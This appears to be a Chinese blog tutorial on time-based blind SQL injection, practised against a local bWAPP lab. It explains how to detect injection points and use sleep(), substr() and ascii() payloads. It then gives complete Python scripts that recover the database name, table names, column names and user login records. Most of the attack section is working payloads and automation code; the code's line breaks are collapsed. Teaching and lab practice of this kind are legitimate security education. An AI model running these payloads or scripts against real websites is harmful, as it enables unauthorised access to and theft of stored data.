目录

一、注入点判断

注入类型

SQL注入的类型

二、基于时间的时间盲注

什么是时间盲注

sleep()函数

常用函数

三、bWAPP基于时间的盲注实战


一、注入点判断

1、输入一个单引号',因为语句中多了一个',在没有括号的情况下,系统会认为后续内容为字符串,从而报错,如果看到错误提示信息,则说明存在sql注入漏洞(单引号个数不匹配)

2、括号的情况,sql里面如果存在('1')这种情况,注释在括号中是不生效的,即('1-- +')不会将')注释掉,且输入双引号不会报错,同理("1")这种情况下输入单引号不会报错

注入类型

数字型:select * from xxx where id=1

这个时候我们注入就不用再添加单引号啦

判断方法:先输入一个' 看到错误信息,再注释掉后续内容 即 ‘ -- + 发现还是报错,提示信息中看不到括号等信息,可以猜测是数字型注入

字符型:select * from xxx where id='1'

这个时候构造中最好都带上单引号即,select * from xxx where id='1' or '1'='1'

判断方法:与数字型相反,注释掉后续内容后不报错,可以猜测是字符型

SQL注入的类型

boolean-Base布尔型盲注

Union联合查询注入

Time-Based基于时间延迟注入

Error-Based报错型注入

二、基于时间的时间盲注

盲注的时候非常看响应速度,即延迟,phpstudy本身会有2s左右的延时,将靶场连接数据库的参数localhost 改成127.0.0.1 让速度快起来!

什么是时间盲注

盲注:顾名思义摸黑注入,其实就是没有回显了,甚至连注入语句是否执行都不清楚

时间盲注:通过注入特定的语句,根据对页面请求的物理反馈,来判断是否注入成功。在sql中使用sleep()函数看加载网页的时间来判断注入点

sleep()函数

sleep(n)会延时显示结果,且延时的时间为 n×查询到的记录数

例: select * from xx where a='aa' and sleep(3) (每一条记录都会延时3秒)

注:and前为真的时候才会延时,延时时间除以3,算出满足前面条件的记录条数

常用函数

睡眠函数

sleep(n)——返回0、中断返回1

截取字符串

substr('str',1,1)从第一个开始取取一个——substr(字符串,开始位置,取几个)

不写第三个参数,默认取到最后一个字符

select substr(database(),1,1)='q' and sleep(3) ——猜解数据库名过程

猜解数据库名的过程中,我们需要知道数据库名的长度

第三个函数获取长度

length()——返回长度

select length(database())

获取ascii码

select ascii('str') ——返回第一个字符的ascii码

为啥要用ASCII码呢,select substr(database(),1,1)='q' and sleep(3)这种直接写='a'的形式不是也可以吗,但是在时间盲注猜解时,如果一个一个试非常的麻烦而且工作量巨大,这个时候就应该写一个脚本,自动的来猜测,脚本如果直接用字母符号计算的时候会比较慢,所以使用ASCII码会提高效率

select ascii(substr(database(),1,1)) > 50 and sleep(2)——猜解第一位

很多函数都有变种,用法与效果类似,名字不同,在某些时候,一些函数被禁止调用,可以寻找其变种来使用,如:substr与mid,left()从左往右截,ascii与ord

三、bWAPP基于时间的盲注实战

这次还是选用bWAPP靶场,选择time

可以看到下面提示,返回值将使用邮箱发回,简而言之就是说!没有回显啦小老弟

接下来试试sleep函数能不能用

F12,然后输入一个1 search一下

可以看到延时才5毫秒

接下来尝试输入

1' or sleep(1) -- +

因为提示我们输入电影名了,所以大概率是字符型的,为啥用or呢因为用and时要保证前面的是正确的才可以执行sleep,测试一下

这里得等一会才出来,其实等待的时候就已经说明这个sleep起效了

接下来我们需要通过sleep是否起效来判断一些内容,所以必须保证它前面这个是正确的,所以接下来试一下怎么让 xxx' and sleep(1) 起效

i' or 1=1  and sleep(1) -- + 试试前面学过的万能密码

ok这时候sleep也起效了

但是因为用了万能密码,我们还是要确认一下如果再加判断(我们需要确定的)是否会被万能密码影响,

i' or 1=1  and 1=2 and sleep(1) -- +

ok这时没sleep

再试一下

i' or 1=1 and 1=1 and sleep(1) -- +

可喜可贺sleep了

综上说明可以用万能密码配合sleep

接下来就是尝试获取数据库名了

两种方法:手试和写脚本

手试(就试一个字母吧,毕竟写脚本还是简单的)

要获取数据库名先要获取数据库名称长度

i' or 1=1 and length(database())=? and sleep(1) -- +

这句话内部的select会计算数据库名长度,外面呢就是尝试,?处填入不同的数字,如果sleep了

说明试对了,为了效率可以把等于号换成大于号或小于号

i' or 1=1 and length(database())>4 and sleep(1) -- +

sleep了说明数据库名长度大于4

i' or 1=1 and length(database())>5 and sleep(1) -- +

不大于5,那就是5

i' or 1=1 and length(database())=5 and sleep(1) -- +

这里说个or 1=1 的弊端,刚才说了sleep时间是根据记录条数来算的,or1=1其实是把所有记录都拿出来了,这里也可以看到延时几乎都到10s了,如果数据量再大点加上尝试很多次,这个延时就非常烦人了,最好还是拿一个准确的值出来

从上一章渗透拿到的数据来看有一个电影叫 Iron Man,可以用它来代替or 1=1

这个时候输入sleep(2)才延时2s,刚刚好,or 1= 1 确实挺浪费时间的

接下来就是拿数据库名了,为啥说要知道长度呢,因为数据库名是需要一个字符一个字符去试的,比如说现在拿到数据库名长度为5,那我们就需要尝试5组,每组出一个字符,是不是很麻烦,手动就演示一个字符吧

先构造语句

Iron Man' and substr(database(),1,1)='a' and sleep(1) -- +

Iron Man' and substr(database(),1,1)='b' and sleep(1) -- +

最后试出来第一个字符是b

ok,纯手试就到这里,下面开始快乐的敲代码!

先引入requests 和time包

接下来构造求数据库名长度的函数,连接url,查看返回值

发现有个name=login,这是为啥呢,因为和postman一样需要cookie来绕过登陆

界面不一样了,查找一下e-mail

ok说明已经进入到这个页面了

开始构造sql语句

import requests
import  time
HEAD={"Cookie":"security_level=0; PHPSESSID=ijgbo5f94rr6ahbg1gp9ogdj53"
}
B_URL="http://localhost:8090/bwapp/bWAPP/sqli_15.php?"
def get_database_length():for i in range(100):url=B_URL+f"title=Iron Man' and length(database())={i} and sleep(1) -- + &action=search"start_time=time.time()requests.get(url,headers=HEAD)if time.time()-start_time>1:print(f"数据库名长度为{i}")return iif __name__=='__main__':get_database_length()

这里用开始时间减去响应完成的时间,算出整个过程的时间,如果大于1,说明sleep运行了,最后输出一下数据库名长度

接下来定义第二个函数,求解数据库名称

def get_database_name(lens):name=""for i in range(lens):for j in range(30,130):url=B_URL+f"title=Iron Man' and ascii(substr(database(),{i+1},1))={j} and sleep(1) -- + &action=search"start_time=time.time()requests.get(url,headers=HEAD)if time.time()-start_time>1:name+=chr(j)print(name)return name
if __name__=='__main__':get_database_name(get_database_length())

看!数据库名就出来啦,这里i是用来控制求五组,j是用来求每个字符的,字符的ascii码区间在

33到127之间好像,30到130肯定全乎

这里要注意substr是从1开始的limit是从0开始的,range是从0开始的

后面再chr()把ascii转换成字符串

接下来定义第三个函数,求解该数据库中有几张表

def get_table_count():for i in range(100):url = B_URL + f"title=Iron Man' and (select count(table_name) from information_schema.tables where table_schema=database())={i} and sleep(1) -- + &action=search"start_time = time.time()requests.get(url, headers=HEAD)if time.time() - start_time > 1:print(f"该数据库一共有{i}张表")return i
if __name__=='__main__':get_table_count()

这块和上面类似不过多赘述

接下来第四个函数,求解每个表名长度

def get_table_leng(count):a=[]for i in range(count):for j in range(100):url = B_URL + f"title=Iron Man' and (select length(table_name) from information_schema.tables where table_schema=database() limit {i},1 )={j}  and sleep(1) -- + &action=search"start_time = time.time()requests.get(url, headers=HEAD)if time.time() - start_time > 1:print(f"第{i+1}张表的表名长度为{j}")a.append(j)if __name__=='__main__':get_table_leng(5)

这里用了limit 记得是从0开始的

接下来第五个函数,求解表名(这里写一个求解所有表名的,也可以写求解一个的)

def get_table_name(lens):a=[]for i in range(len(lens)):temp=""for j in range(lens[i]):for k in range(30,130):url = B_URL + f"title=Iron Man' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{j+1},1))={k}  and sleep(1) -- + &action=search"start_time = time.time()requests.get(url, headers=HEAD)if time.time() - start_time > 1:temp+=chr(k)print(f"第{i+1}张表名为{temp}")a.append(temp)return a
if __name__=='__main__':get_table_name(get_table_leng(5))

别看sql语句挺长的,但是很容易看懂的看不懂的去看前面或者前几篇文章

表名就出来啦,接下来就是求字段数量、字段长度、字段名、记录数,记录长度,最后把记录提取出来,跟前面大同小异啦

完整代码

import  requests
import  time
#http://localhost:8090/bwapp/bWAPP/sqli_15.php?title=&action=search
HEADER={"Cookie":"security_level=0; PHPSESSID=ijgbo5f94rr6ahbg1gp9ogdj53"
}BASE_URL='http://localhost:8090/bwapp/bWAPP/sqli_15.php?'
def get_database_length():#Iron Man' and length(database())=1 and sleep(2)for i in range(100):url=BASE_URL+f"title=Iron Man' and length(database())={i} and sleep(2) --+ &action=search"start_time=time.time()requests.get(url,headers=HEADER)if time.time() -start_time>1:print(f"长度为{i}")return i
def get_database_name(len):name=""for j in range(1,len+1):for i in range(33,127):url = BASE_URL + f"title=Iron Man' and ascii(substr(database(),{j},1))={i} and sleep(3) --+ &action=search"start_time = time.time()requests.get(url, headers=HEADER)if time.time() - start_time > 1:name+=chr(i)print("数据库名字是"+name)return name
def get_table_name_count():for i in range(100):url=BASE_URL+f"title=Iron Man' and (select count(table_name) from information_schema.tables where table_schema=database())={i} and sleep(3) --+ &action=search"start_time=time.time()requests.get(url,headers=HEADER)if time.time()-start_time>1:print(i)return idef get_table_name_length(table_count):a=[]for j in range(table_count):for i in range(100):url=BASE_URL+f"title=Iron Man' and (select length(table_name) from information_schema.tables where table_schema=database() limit {j},1)={i} and sleep(3) --+ &action=search  "start_time=time.time()requests.get(url,headers=HEADER)if time.time()-start_time>1:a.append(i)print(f"第{j}张表长度为{i}")return a
def get_table_name(lens):str=[]for j in range(len(lens)):temp = ""for i in range(lens[j]):for k in range(33,127):url=BASE_URL+f"title=Iron Man' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {j},1),{i+1},1))={k} and sleep(3)--+ &action=search"start_time=time.time()requests.get(url,headers=HEADER)if time.time()-start_time>1:temp+=chr(k)print(temp)str.append(temp)print(str)
def get_columns_count(name):for i in range(100):url = BASE_URL + f"title=Iron Man' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='{name}')={i} and sleep(3) --+ &action=search"start_time = time.time()requests.get(url, headers=HEADER)if time.time() - start_time > 1:print(i)return i
def get_column_name_length(table_count,name):a=[]for j in range(table_count):for i in range(100):url=BASE_URL+f"title=Iron Man' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='{name}' limit {j},1)={i} and sleep(3) --+ &action=search  "start_time=time.time()requests.get(url,headers=HEADER)if time.time()-start_time>1:a.append(i)print(f"第{j}张表长度为{i}")return a
def get_column_name(lens,name):str=[]for j in range(len(lens)):temp = ""for i in range(lens[j]):for k in range(33,127):url=BASE_URL+f"title=Iron Man' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='{name}' limit {j},1),{i+1},1))={k} and sleep(3)--+ &action=search"start_time=time.time()requests.get(url,headers=HEADER)if time.time()-start_time>1:temp+=chr(k)print(temp)str.append(temp)print(str)
def get_zd_count(name):for i in range(100):url = BASE_URL + f"title=Iron Man' and (select count(*) from {name})={i} and sleep(3) --+ &action=search"start_time = time.time()requests.get(url, headers=HEADER)if time.time() - start_time > 1:print(i)return i
def get_value(name,column,count):str_l=[]for i in range(count):str=""for j in range(100):url=BASE_URL+f"title=Iron Man' and (select length({column}) from {name} limit {i},1)={j} and sleep(3) --+ &action=search"start_time=time.time()requests.get(url,headers=HEADER)if time.time()-start_time>1:print(j)for k in range(j):for p in range(30,130):url = BASE_URL + f"title=Iron Man' and ascii(substr((select {column} from {name} limit {i},1),{k+1},1))={p} and sleep(3) --+ &action=search"start_time = time.time()requests.get(url, headers=HEADER)if time.time()-start_time>1:print(chr(p))str+=chr(p)str_l.append(str)
if __name__=='__main__':get_value('users','login',2)

嘎嘎嘎,就到这吧

渗透测试——sql注入进阶/基于时间的盲注/一看就会/相关推荐

  1. SQL注入进阶:掌握布尔盲注和延时注入攻击技巧

    数据来源 一.什么是盲注? 盲注是指一种利用应用程序漏洞进行的攻击技术,攻击者通过在输入参数中注入恶意代码或数据来探测.提取和修改应用程序的敏感数据.它通常用于测试 Web 应用程序的安全性,并且可能 ...

  2. 渗透测试SQL注入——Sqlilabs关卡详解

    目录 报错函数floor的利用 利用select into outfile写一句话木马 利用load_file 读敏感文件 利用sqlmap探测 sql盲注 get基于时间的盲注应用 post基于时间 ...

  3. SQL注入:sqli-labs lesson-8 lesson -9 基于布尔值和基于时间的盲注!

    在上一次讲解了lesson -1的sql基本注入,我们在注入的时候,它会返回错误信息 但是盲注不会:什么是盲注:我理解的盲注是,web页面并不会返回错误信息,需要自己添加一些命令来让浏览器进行一些显而 ...

  4. SQL注入——基于时间的盲注(九)

    本章目的 普及延时盲注技术的运用场景及条件,熟悉length().Substr().ascii().sleep().if()等函数的用法,掌握基于时间的盲注基本流程.PS:面试问答不深问就回答延迟 基 ...

  5. 渗透测试-SQL注入之sqlmap的使用方法及实战案例

    SQL注入之sqlmap的使用方法及实战案例 文章目录 SQL注入之sqlmap的使用方法及实战案例 前言 一.sqlmap的使用方法 查库,表,列,以及相关的字段的信息 万能密码汇总 判断是否为字符 ...

  6. SQL注入——基于时间的盲注(sqli-labs less9)

    一.基于时间得盲注 适用场景:没有数据回显,条件正确与否结果一样 利用方式:构造判断条件,添加sleep,逐个猜测(盲猜) 1.所需语法与函数 IF表达式 IF( expr1 , expr2 , ex ...

  7. mysql基于时间盲注_MYSQL基于时间的盲注详解

    MYSQL基于时间的盲注 联合查询,报错注入,以及布尔盲注,都是基于攻击网站会回显消息,或者将错误信息返回在前端,或者会返回web页面的正确或错误 但是有时候网站关闭了错误回显或过滤了某些关键字,网页 ...

  8. 【SQL注入漏洞-04】布尔盲注靶场实战

    布尔盲注 当我们改变前端页面传输给后台sql参数时,页面没有显示相应内容也没有显示报错信息时,不能使用联合查询注入和报错注入,这时我们可以考虑是否为基于布尔的盲注. 布尔盲注原理: 利用页面返回的布尔 ...

  9. 渗透测试-SQL注入之Fuzz绕过WAF

    WAF绕过原理之Fuzz绕过 文章目录 WAF绕过原理之Fuzz绕过 前言 一.什么是Fuzz 二.利用Fuzz绕过WAF获取数据库信息 1.Fuzz绕过方法 2.利用Fuzz绕过WAF获取数据库信息 ...

最新文章

  1. Vue:Vue的< span >文字怎么加粗?
  2. python中的‘/’和'//'
  3. 深度学习总结:Tensorboard可视化里面的events, graph, histogram
  4. ajax以base64上传图片到django
  5. dede后台文章不能上传图片及缩略图的解决办法
  6. Data Binding 实践
  7. 机器人开发--技术路线简介
  8. 不差钱!华为,给学生开百万年薪
  9. word去掉多余空格,换行符
  10. 在IIS上部署ASP网站
  11. python闰年统计_利用Python写一个闰年计算器和每月天数计算器
  12. 【Web技术】1431- 总结前端主题切换的思考和现代前端样式的解决方案落地
  13. 电子科技大学--大数据论坛--相关资料
  14. TCP 与UDP 的区别
  15. Flask教程(一)
  16. Android 仿微信朋友圈拍小视频上传到服务器(转)
  17. tcpip四层源码分析(Linux)
  18. STM32的FPU体验
  19. [统计学教程] 第二章 统计调查
  20. 在Vue2中怎么解决跨域

热门文章

  1. 超越Yann LeCun:世界模型的学习和推理
  2. SLAM--VICP(Velocity Updating Iterative Closest Point Algorithm)学习笔记
  3. 数字社区数字化技术应用
  4. 开源OpenIM:高性能、可伸缩、易扩展的即时通讯架构
  5. 常见的IM开源服务器
  6. 作为产品经理,有必要考各种证书吗?比如:pmp,npdp
  7. 安卓系统怎么安装软件_【图文】安卓系统手机如何下载安装APP
  8. 如果同步块内的线程抛出异常会发生什么?
  9. Python搭建简单的web服务器
  10. 栈(也被称作堆栈,一种遵循先进后出原则的数据结构)